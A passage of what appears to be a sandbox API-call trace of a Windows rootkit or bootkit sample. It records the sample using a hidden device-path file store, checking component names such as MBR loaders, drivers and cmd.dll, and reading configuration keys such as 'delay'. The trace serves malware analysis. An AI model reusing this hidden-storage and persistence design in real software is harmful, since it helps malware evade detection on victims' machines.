MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.541] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.541] IdePortDispatch () returned 0x103 [0119.541] KeWaitForMutexObject () returned 0x0 [0119.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.541] KeLeaveCriticalRegion () [0119.541] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.541] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.542] KeEnterCriticalRegion () [0119.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.542] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.542] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.542] KeLeaveCriticalRegion () [0119.542] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.542] KeEnterCriticalRegion () [0119.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.542] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.542] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.542] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.542] KeLeaveCriticalRegion () [0119.542] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.542] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.542] KeEnterCriticalRegion () [0119.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.542] ExFreePoolWithTag (P=0xfffffa8003aa1f10, Tag=0x0) [0119.542] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.542] KeLeaveCriticalRegion () [0119.542] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.542] ReleaseMutex (hMutex=0xf0) returned 1 [0119.542] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.542] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.542] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.542] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.542] KeEnterCriticalRegion () [0119.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.542] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.542] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.542] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.542] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.542] IdePortDispatch () returned 0x103 [0119.542] KeWaitForMutexObject () returned 0x0 [0119.542] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.543] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.543] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.543] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.543] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.543] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.543] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.543] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.543] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.543] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.543] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.543] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.543] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.543] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.543] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.543] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.543] KeLeaveCriticalRegion () [0119.543] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.543] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.543] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.543] KeEnterCriticalRegion () [0119.543] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.543] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.543] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.543] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.543] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.543] IdePortDispatch () returned 0x103 [0119.543] KeWaitForMutexObject () returned 0x0 [0119.543] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.543] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.543] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.543] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.543] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.543] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.543] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.543] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.543] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.543] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.543] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.543] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.543] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.543] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.543] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.543] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.544] KeLeaveCriticalRegion () [0119.544] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.544] ReleaseMutex (hMutex=0x100) returned 1 [0119.544] Sleep (dwMilliseconds=0x2bf20) [0119.550] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a72e070, dwHighDateTime=0x1d24fa4)) [0119.550] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.550] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.550] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.550] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.550] KeEnterCriticalRegion () [0119.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.550] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.550] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.550] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.550] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.550] IdePortDispatch () returned 0x103 [0119.550] KeWaitForMutexObject () returned 0x0 [0119.550] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.550] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.550] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.551] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.551] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.551] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcbe50 [0119.551] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.551] KeLeaveCriticalRegion () [0119.551] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.551] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.551] KeEnterCriticalRegion () [0119.551] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.551] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.551] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.551] KeLeaveCriticalRegion () [0119.551] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.551] KeEnterCriticalRegion () [0119.551] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.551] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.551] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.551] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.551] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.551] IdePortDispatch () returned 0x103 [0119.551] KeWaitForMutexObject () returned 0x0 [0119.551] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.551] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.551] KeLeaveCriticalRegion () [0119.551] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.551] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.551] KeEnterCriticalRegion () [0119.551] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.551] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002da8000 [0119.551] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.551] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.551] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.551] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.551] IdePortDispatch () returned 0x103 [0119.552] KeWaitForMutexObject () returned 0x0 [0119.552] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.552] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.552] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.552] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.552] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.552] IdePortDispatch () returned 0x103 [0119.552] KeWaitForMutexObject () returned 0x0 [0119.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.552] KeLeaveCriticalRegion () [0119.552] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.552] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.552] KeEnterCriticalRegion () [0119.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.552] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.552] KeLeaveCriticalRegion () [0119.553] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.553] KeEnterCriticalRegion () [0119.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.553] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.553] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.553] KeLeaveCriticalRegion () [0119.553] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.553] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.553] KeEnterCriticalRegion () [0119.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.553] ExFreePoolWithTag (P=0xfffffa8003bcbe50, Tag=0x0) [0119.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.553] KeLeaveCriticalRegion () [0119.553] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.553] ReleaseMutex (hMutex=0xf0) returned 1 [0119.553] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.553] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.553] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.553] KeEnterCriticalRegion () [0119.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.553] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.553] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.553] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.553] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.553] IdePortDispatch () returned 0x103 [0119.553] KeWaitForMutexObject () returned 0x0 [0119.553] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.553] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.553] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.553] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.553] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.553] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa1e60 [0119.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.553] KeLeaveCriticalRegion () [0119.553] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.553] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.554] KeEnterCriticalRegion () [0119.554] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.554] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.554] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.554] KeLeaveCriticalRegion () [0119.554] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.554] KeEnterCriticalRegion () [0119.554] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.554] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.554] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.554] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.554] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.554] IdePortDispatch () returned 0x103 [0119.554] KeWaitForMutexObject () returned 0x0 [0119.554] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.554] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.554] KeLeaveCriticalRegion () [0119.554] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.554] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.554] KeEnterCriticalRegion () [0119.554] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.554] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002da9000 [0119.554] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.554] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.554] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.554] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.554] IdePortDispatch () returned 0x103 [0119.554] KeWaitForMutexObject () returned 0x0 [0119.554] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.554] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.555] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.555] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.555] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.555] IdePortDispatch () returned 0x103 [0119.555] KeWaitForMutexObject () returned 0x0 [0119.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.555] KeLeaveCriticalRegion () [0119.555] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.555] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.555] KeEnterCriticalRegion () [0119.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.555] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.555] KeLeaveCriticalRegion () [0119.555] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.555] KeEnterCriticalRegion () [0119.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.555] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.555] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.555] KeLeaveCriticalRegion () [0119.555] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.555] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.556] KeEnterCriticalRegion () [0119.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.556] ExFreePoolWithTag (P=0xfffffa8003aa1e60, Tag=0x0) [0119.556] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.556] KeLeaveCriticalRegion () [0119.556] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.556] ReleaseMutex (hMutex=0xf0) returned 1 [0119.556] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.556] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.556] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.556] KeEnterCriticalRegion () [0119.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.556] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.556] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.556] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.556] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.556] IdePortDispatch () returned 0x103 [0119.556] KeWaitForMutexObject () returned 0x0 [0119.556] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.556] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.556] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.556] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.556] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.556] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa1b00 [0119.556] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.556] KeLeaveCriticalRegion () [0119.556] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.556] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.556] KeEnterCriticalRegion () [0119.556] ExAcquireFastMutexUnsafe (in: 